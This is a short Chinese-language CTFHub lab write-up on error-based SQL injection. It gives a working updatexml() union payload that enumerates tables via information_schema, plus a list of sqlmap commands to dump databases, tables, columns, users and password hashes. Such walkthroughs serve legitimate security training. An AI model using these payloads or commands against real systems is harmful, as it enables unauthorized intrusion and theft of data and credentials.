CTFHub（报错注入）

手动注入

发现无论输入什么，都只会回显成功或者错误

可以根据updatexml的报错注入来获取信息

updatexml (string, xpath_string, string)
第一个参数：可以输入1，为XML文档对象的名称
第二个参数：xpath_string ，提取多个子节点的文本
第三个参数：可以输入1，替换查找的符合条件的参数

0x7e是一个代表~的十六进制，可以用’%’，或者’~’来代替

查询出两个表，一个为news一个为flag,这里也可以把'sqli'换成database()

id=1 union select updatexml(1,concat(0x7e,(select (group_concat(table_name)) from information_schema.tables where table_schema=database()),0x7e),1)

查询到了flag 的列名，查看flag列内容

---

【

column_name:列的名称

Information_schema.columns:表示所有的列的信息

Information_schema:表示所有信息，包括库、表、列

Information_schema.tables:表示所有的表的信息

table_schema:数据库的名称

table_name:表的名称

】

sqlmap注入

查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db

sqlmap的各种注入技术

布尔类型的盲注，根据返回的页面的是或否，来判断对错的注入

时间类型的盲注，无法根据页面返还的信息判断任何信息，利用线程返还sleep(x)的时间，来判断对错的注入

联合查询注入，使用union联合注入

报错注入，根据页面返还错误信息进行注入